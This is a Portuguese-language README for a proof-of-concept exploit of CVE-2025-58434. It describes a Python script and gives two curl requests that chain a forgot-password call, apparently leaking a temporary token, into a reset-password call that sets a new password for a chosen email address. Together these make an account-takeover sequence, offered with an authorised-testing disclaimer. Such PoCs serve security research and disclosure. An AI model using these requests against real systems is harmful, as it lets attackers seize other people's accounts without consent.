
Prova de Conceito CVE-2025-58434
Script Python de prova de conceito para acionar POST /api/v1/account/forgot-password.
⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada. Executar esta ferramenta contra sistemas que você não possui ou sem permissão por escrito para testar é ilegal.
zaddy6 (Isaac David)arthurgervais (Arthur Gervais)CVE-2025-58434poc.py: solicita a URL/IP da máquina, protocolo opcional quando apenas host/IP for usado, e-mail alvo e senha; em seguida, envia a requisição e imprime o status HTTP, cabeçalhos e corpo da resposta similar ao curl -iExecute:
python3 poc.py
Em seguida, forneça:
10.10.11.10, http://10.10.11.10, ou https://target.examplecurl -i -X POST https://<MACHINE_URL/IP>/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"<[email protected]>"}}'
curl -i -X POST https://<target>/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{
"user":{
"email":"<[email protected]>",
"tempToken":"<tempToken>",
"password":"NewSecurePassword123!"
}
}'